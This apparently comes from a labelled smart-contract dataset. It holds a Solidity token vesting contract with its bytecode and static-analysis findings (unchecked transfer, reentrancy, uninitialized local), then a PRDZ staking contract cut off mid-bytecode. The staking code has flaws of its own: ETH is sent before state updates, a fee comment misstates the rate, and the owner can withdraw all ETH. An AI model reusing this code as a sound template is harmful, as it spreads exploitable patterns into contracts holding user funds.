function () external {
withdrawTokens();
}
/**
* Calculate tokens amount that is sent to withdrawAddress.
*
* @return Amount of tokens that can be sent.
*/
function getAvailableTokensToWithdraw () public view returns (uint256 tokensToSend) {
uint256 tokensUnlockedPercentage = getTokensUnlockedPercentage();
// In the case of stuck tokens we allow the withdrawal of them all after vesting period ends.
if (tokensUnlockedPercentage >= 100) {
tokensToSend = bitcca.balanceOf(this);
} else {
tokensToSend = getTokensAmountAllowedToWithdraw(tokensUnlockedPercentage);
}
}
/**
* Get detailed info about stage.
* Provides ability to get attributes of every stage from external callers, ie Web3, truffle tests, etc.
*
* @param index Vesting stage number. Ordered by ascending date and starting from zero.
*
* @return {
* "date": "Date of stage in unix timestamp format.",
* "tokensUnlockedPercentage": "Percent of tokens allowed to be withdrawn."
* }
*/
function getStageAttributes (uint8 index) public view returns (uint256 date, uint256 tokensUnlockedPercentage) {
return (stages[index].date, stages[index].tokensUnlockedPercentage);
}
/**
* Setup array with vesting stages dates and percents.
*/
function initVestingStages () internal {
stages[0].date = vestingStartTimestamp;
stages[1].date = 1656633600; // 1 july 2022
stages[2].date = 1659312000; // 1 august 2022
stages[3].date = 1661990400; // 1 september 2022
stages[4].date = 1664582400; // 1 october 2022
stages[5].date = 1667260800; // 1 november 2022
stages[6].date = 1669852800; // 1 december 2022
stages[7].date = 1672531200; // 1 january 2023
stages[8].date = 1675209600; // 1 february 2023
stages[9].date = 1677628800; // 1 march 2023
stages[10].date = 1680307200; // 1 april 2023
stages[11].date = 1682899200; // 1 may 2023
stages[12].date = 1685577600; // 1 june 2023
stages[13].date = 1688169600; // 1 july 2023
stages[14].date = 1690848000; // 1 august 2023
stages[15].date = 1693526400; // 1 september 2023
stages[16].date = 1696118400; // 1 october 2023
stages[17].date = 1698796800; // 1 November 2023
stages[18].date = 1701388800; // 1 December 2023
stages[19].date = 1704067200; // 1 January 2024
stages[0].tokensUnlockedPercentage = 5;
stages[1].tokensUnlockedPercentage = 10;
stages[2].tokensUnlockedPercentage = 15;
stages[3].tokensUnlockedPercentage = 20;
stages[4].tokensUnlockedPercentage = 25;
stages[5].tokensUnlockedPercentage = 30;
stages[6].tokensUnlockedPercentage = 35;
stages[7].tokensUnlockedPercentage = 40;
stages[8].tokensUnlockedPercentage = 45;
stages[9].tokensUnlockedPercentage = 50;
stages[10].tokensUnlockedPercentage = 55;
stages[11].tokensUnlockedPercentage = 60;
stages[12].tokensUnlockedPercentage = 65;
stages[13].tokensUnlockedPercentage = 70;
stages[14].tokensUnlockedPercentage = 75;
stages[15].tokensUnlockedPercentage = 80;
stages[16].tokensUnlockedPercentage = 85;
stages[17].tokensUnlockedPercentage = 90;
stages[18].tokensUnlockedPercentage = 95;
stages[19].tokensUnlockedPercentage = 100;
}
/**
* Main method for withdraw tokens from vesting.
*/
function withdrawTokens () onlyWithdrawAddress private {
// Setting initial tokens balance on a first withdraw.
if (initialTokensBalance == 0) {
setInitialTokensBalance();
}
uint256 tokensToSend = getAvailableTokensToWithdraw();
sendTokens(tokensToSend);
}
/**
* Set initial tokens balance when making the first withdrawal.
*/
function setInitialTokensBalance () private {
initialTokensBalance = bitcca.balanceOf(this);
}
/**
* Send tokens to withdrawAddress.
*
* @param tokensToSend Amount of tokens will be sent.
*/
function sendTokens (uint256 tokensToSend) private {
if (tokensToSend > 0) {
// Updating tokens sent counter
tokensSent = tokensSent.add(tokensToSend);
// Sending allowed tokens amount
bitcca.transfer(withdrawAddress, tokensToSend);
// Raising event
emit Withdraw(tokensToSend, now);
}
}
/**
* Calculate tokens available for withdrawal.
*
* @param tokensUnlockedPercentage Percent of tokens that are allowed to be sent.
*
* @return Amount of tokens that can be sent according to provided percentage.
*/
function getTokensAmountAllowedToWithdraw (uint256 tokensUnlockedPercentage) private view returns (uint256) {
uint256 totalTokensAllowedToWithdraw = initialTokensBalance.mul(tokensUnlockedPercentage).div(100);
uint256 unsentTokensAmount = totalTokensAllowedToWithdraw.sub(tokensSent);
return unsentTokensAmount;
}
/**
* Get tokens unlocked percentage on current stage.
*
* @return Percent of tokens allowed to be sent.
*/
function getTokensUnlockedPercentage () private view returns (uint256) {
uint256 allowedPercent;
for (uint8 i = 0; i < stages.length; i++) {
if (now >= stages[i].date) {
allowedPercent = stages[i].tokensUnlockedPercentage;
}
}
return allowedPercent;
}
}
contract bitccaVesting is bitccaTokenVesting {
constructor(ERC20TokenInterface token, address withdraw) bitccaTokenVesting(token, withdraw) public {}
}
|
0x60806040526004361061008e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063045e240f146100a55780631581b600146100d05780631f130761146101275780632487f7b7146101525780633c72f070146101a9578063845ddcb2146101d4578063b9588adc1461021c578063d6ddd21b14610267575b34801561009a57600080fd5b506100a3610292565b005b3480156100b157600080fd5b506100ba61031a565b6040518082815260200191505060405180910390f35b3480156100dc57600080fd5b506100e561043f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561013357600080fd5b5061013c610465565b6040518082815260200191505060405180910390f35b34801561015e57600080fd5b5061016761046b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101b557600080fd5b506101be610490565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b506101ff60048036038101908080359060200190929190505050610496565b604051808381526020018281526020019250505060405180910390f35b34801561022857600080fd5b5061024a600480360381019080803560ff1690602001909291905050506104bf565b604051808381526020018281526020019250505060405180910390f35b34801561027357600080fd5b5061027c6104ff565b6040518082815260200191505060405180910390f35b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156102f057600080fd5b6000602b54141561030457610303610505565b5b61030c61031a565b905061031781610604565b50565b60008061032561078d565b905060648110151561042f576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156103ed57600080fd5b505af1158015610401573d6000803e3d6000fd5b505050506040513d602081101561041757600080fd5b8101908080519060200190929190505050915061043b565b610438816107f6565b91505b5090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602b5481565b6002816014811015156104a557fe5b600202016000915090508060000154908060010154905082565b60008060028360ff166014811015156104d457fe5b600202016000015460028460ff166014811015156104ee57fe5b600202016001015491509150915091565b602a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156105c157600080fd5b505af11580156105d5573d6000803e3d6000fd5b505050506040513d60208110156105eb57600080fd5b8101908080519060200190929190505050602b81905550565b600081111561078a5761062281602c5461084690919063ffffffff16565b602c819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561070e57600080fd5b505af1158015610722573d6000803e3d6000fd5b505050506040513d602081101561073857600080fd5b8101908080519060200190929190505050507f56ca301a9219608c91e7bcee90e083c19671d2cdcc96752c7af291cee5f9c8c88142604051808381526020018281526020019250505060405180910390a15b50565b60008060008090505b60148160ff1610156107ee5760028160ff166014811015156107b457fe5b6002020160000154421015156107e15760028160ff166014811015156107d657fe5b600202016001015491505b8080600101915050610796565b819250505090565b6000806000610823606461081586602b5461086590919063ffffffff16565b6108a090919063ffffffff16565b915061083a602c54836108b690919063ffffffff16565b90508092505050919050565b6000818301905082811015151561085c57600080fd5b80905092915050565b600080831415610878576000905061089a565b818302905081838281151561088957fe5b0414151561089657600080fd5b8090505b92915050565b600081838115156108ad57fe5b04905092915050565b60008282111515156108c757600080fd5b8183039050929150505600a165627a7a7230582019611f59ffded4a6711b815594bed918fb97b2de653b3e0fc1e5139881da1a440029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,238 |
0x54a825bd52dd96d7e49879839249b9aa4195ac83
|
/**
*Submitted for verification at Etherscan.io on 2020-12-10
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: No License
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract PRDZstaking is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// PRDZ token contract address
address public constant tokenAddress = 0x4e085036A1b732cBe4FfB1C12ddfDd87E7C3664d;
// reward rate 80.00% per year
uint public constant rewardRate = 8000;
uint public constant scoreRate = 1000;
uint public constant rewardInterval = 365 days;
uint public constant scoreInterval = 3 days;
uint public scoreEth = 11340;
// unstaking fee 2.00 percent
uint public constant unstakingFeeRate = 250;
// unstaking possible after 72 hours
uint public constant cliffTime = 72 hours;
uint public totalClaimedRewards = 0;
uint public totalStakedToken = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public totalScore;
mapping (address => uint) public lastScoreTime;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function updateScore(address _holder) private {
lastScoreTime[_holder] = now ;
}
function getScoreEth(address _holder) public view returns (uint) {
uint timeDiff = 0 ;
if(lastScoreTime[_holder] > 0){
timeDiff = now.sub(lastScoreTime[_holder]).div(2);
}
uint stakedAmount = depositedTokens[_holder];
uint score = stakedAmount
.mul(scoreRate)
.mul(timeDiff)
.div(scoreInterval)
.div(1e4);
uint eth = score.div(scoreEth);
return eth;
}
function getStakingScore(address _holder) public view returns (uint) {
uint timeDiff = 0 ;
if(lastScoreTime[_holder] > 0){
timeDiff = now.sub(lastScoreTime[_holder]).div(2);
}
uint stakedAmount = depositedTokens[_holder];
uint score = stakedAmount
.mul(scoreRate)
.mul(timeDiff)
.div(scoreInterval)
.div(1e4);
return score;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function getTotalStaked() public view returns (uint) {
return totalStakedToken;
}
function stake(uint amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
updateScore(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
totalStakedToken = totalStakedToken.add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function OldStake(address _holder , uint amountToStake , uint stakeTime) public onlyOwner {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(_holder);
lastScoreTime[_holder] = stakeTime ;
totalStakedToken = totalStakedToken.add(amountToStake);
depositedTokens[_holder] = depositedTokens[_holder].add(amountToStake);
if (!holders.contains(_holder)) {
holders.add(_holder);
stakingTime[_holder] = stakeTime;
}
}
function unstake(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer withdraw fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
totalStakedToken = totalStakedToken.sub(amountAfterFee);
uint timeDiff = 0 ;
if(lastScoreTime[msg.sender] > 0){
timeDiff = now.sub(lastScoreTime[msg.sender]).div(2);
}
uint score = amountAfterFee
.mul(scoreRate)
.mul(timeDiff)
.div(scoreInterval)
.div(1e4);
uint eth = score.div(scoreEth);
msg.sender.transfer(eth);
lastScoreTime[msg.sender] = now;
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimReward() public {
updateAccount(msg.sender);
}
function withdraw() public onlyOwner{
msg.sender.transfer(address(this).balance);
}
function claimScoreEth() public {
uint timeDiff = 0 ;
if(lastScoreTime[msg.sender] > 0){
timeDiff = now.sub(lastScoreTime[msg.sender]).div(2);
}
uint stakedAmount = depositedTokens[msg.sender];
uint score = stakedAmount
.mul(scoreRate)
.mul(timeDiff)
.div(scoreInterval)
.div(1e4);
uint eth = score.div(scoreEth);
msg.sender.transfer(eth);
lastScoreTime[msg.sender] = now;
}
uint private constant stakingAndDaoTokens = 84000000000000000000000;
function getStakingAndDaoAmount() public view returns (uint) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
function deposit() payable public {
// nothing to do!
}
function updateScoreEth(uint _amount) public onlyOwner {
scoreEth = _amount ;
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getStakingAndDaoAmount()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x6080604052600436106101ee5760003560e01c806393bcb5a31161010d578063c326bf4f116100a0578063d0e30db01161006f578063d0e30db014610921578063d578ceab1461092b578063d816c7d514610956578063f2fde38b14610981578063f3f91fa0146109d2576101ee565b8063c326bf4f1461083b578063c7c09074146108a0578063cb6d8ee6146108cb578063ce40453d146108f6576101ee565b8063a84e9dee116100dc578063a84e9dee14610759578063a967b72c146107be578063b88a802f146107f9578063bec4de3f14610810576101ee565b806393bcb5a31461066157806398896d10146106785780639d76ea58146106dd578063a694fc3a1461071e576101ee565b80634b3d36c7116101855780637b0a47ee116101545780637b0a47ee1461052b57806384eda6621461055657806387285587146105bb5780638da5cb5b14610620576101ee565b80634b3d36c714610381578063583d42fd146103e65780636270cd181461044b5780636a395ccb146104b0576101ee565b8063308feec3116101c1578063308feec3146102af57806335d8f62f146102da5780633a5ec6531461033f5780633ccfd60b1461036a576101ee565b80630917e776146101f35780630f1a64441461021e578063268cab49146102495780632e17de7814610274575b600080fd5b3480156101ff57600080fd5b50610208610a37565b6040518082815260200191505060405180910390f35b34801561022a57600080fd5b50610233610a41565b6040518082815260200191505060405180910390f35b34801561025557600080fd5b5061025e610a48565b6040518082815260200191505060405180910390f35b34801561028057600080fd5b506102ad6004803603602081101561029757600080fd5b8101908080359060200190929190505050610a91565b005b3480156102bb57600080fd5b506102c46110f1565b6040518082815260200191505060405180910390f35b3480156102e657600080fd5b50610329600480360360208110156102fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611102565b6040518082815260200191505060405180910390f35b34801561034b57600080fd5b50610354611276565b6040518082815260200191505060405180910390f35b34801561037657600080fd5b5061037f61127d565b005b34801561038d57600080fd5b506103e4600480360360608110156103a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919050505061131e565b005b3480156103f257600080fd5b506104356004803603602081101561040957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116b0565b6040518082815260200191505060405180910390f35b34801561045757600080fd5b5061049a6004803603602081101561046e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116c8565b6040518082815260200191505060405180910390f35b3480156104bc57600080fd5b50610529600480360360608110156104d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116e0565b005b34801561053757600080fd5b50610540611862565b6040518082815260200191505060405180910390f35b34801561056257600080fd5b506105a56004803603602081101561057957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611868565b6040518082815260200191505060405180910390f35b3480156105c757600080fd5b5061060a600480360360208110156105de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611880565b6040518082815260200191505060405180910390f35b34801561062c57600080fd5b506106356119da565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561066d57600080fd5b506106766119fe565b005b34801561068457600080fd5b506106c76004803603602081101561069b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bf1565b6040518082815260200191505060405180910390f35b3480156106e957600080fd5b506106f2611d60565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561072a57600080fd5b506107576004803603602081101561074157600080fd5b8101908080359060200190929190505050611d78565b005b34801561076557600080fd5b506107a86004803603602081101561077c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612075565b6040518082815260200191505060405180910390f35b3480156107ca57600080fd5b506107f7600480360360208110156107e157600080fd5b810190808035906020019092919050505061208d565b005b34801561080557600080fd5b5061080e6120ef565b005b34801561081c57600080fd5b506108256120fa565b6040518082815260200191505060405180910390f35b34801561084757600080fd5b5061088a6004803603602081101561085e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612102565b6040518082815260200191505060405180910390f35b3480156108ac57600080fd5b506108b561211a565b6040518082815260200191505060405180910390f35b3480156108d757600080fd5b506108e0612120565b6040518082815260200191505060405180910390f35b34801561090257600080fd5b5061090b612126565b6040518082815260200191505060405180910390f35b61092961212c565b005b34801561093757600080fd5b5061094061212e565b6040518082815260200191505060405180910390f35b34801561096257600080fd5b5061096b612134565b6040518082815260200191505060405180910390f35b34801561098d57600080fd5b506109d0600480360360208110156109a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612139565b005b3480156109de57600080fd5b50610a21600480360360208110156109f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612288565b6040518082815260200191505060405180910390f35b6000600354905090565b6203f48081565b60006911c9a62d04ed0c80000060025410610a665760009050610a8e565b6000610a876002546911c9a62d04ed0c8000006122a090919063ffffffff16565b9050809150505b90565b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b610b4f336122b7565b6000610b79612710610b6b60fa8561254d90919063ffffffff16565b61257c90919063ffffffff16565b90506000610b9082846122a090919063ffffffff16565b9050734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c3757600080fd5b505af1158015610c4b573d6000803e3d6000fd5b505050506040513d6020811015610c6157600080fd5b8101908080519060200190929190505050610ce4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e73666572207769746864726177206665652e81525060200191505060405180910390fd5b734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610d6957600080fd5b505af1158015610d7d573d6000803e3d6000fd5b505050506040513d6020811015610d9357600080fd5b8101908080519060200190929190505050610e16576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610e2b816003546122a090919063ffffffff16565b600381905550600080600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610ee257610edf6002610ed1600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426122a090919063ffffffff16565b61257c90919063ffffffff16565b90505b6000610f34612710610f266203f480610f1886610f0a6103e88a61254d90919063ffffffff16565b61254d90919063ffffffff16565b61257c90919063ffffffff16565b61257c90919063ffffffff16565b90506000610f4d6001548361257c90919063ffffffff16565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610f95573d6000803e3d6000fd5b5042600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061102c86600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a090919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061108333600461259590919063ffffffff16565b80156110ce57506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156110e9576110e73360046125c590919063ffffffff16565b505b505050505050565b60006110fd60046125f5565b905090565b600080600090506000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156111b9576111b660026111a8600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426122a090919063ffffffff16565b61257c90919063ffffffff16565b90505b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600061124f6127106112416203f480611233876112256103e88961254d90919063ffffffff16565b61254d90919063ffffffff16565b61257c90919063ffffffff16565b61257c90919063ffffffff16565b905060006112686001548361257c90919063ffffffff16565b905080945050505050919050565b6203f48081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112d557600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561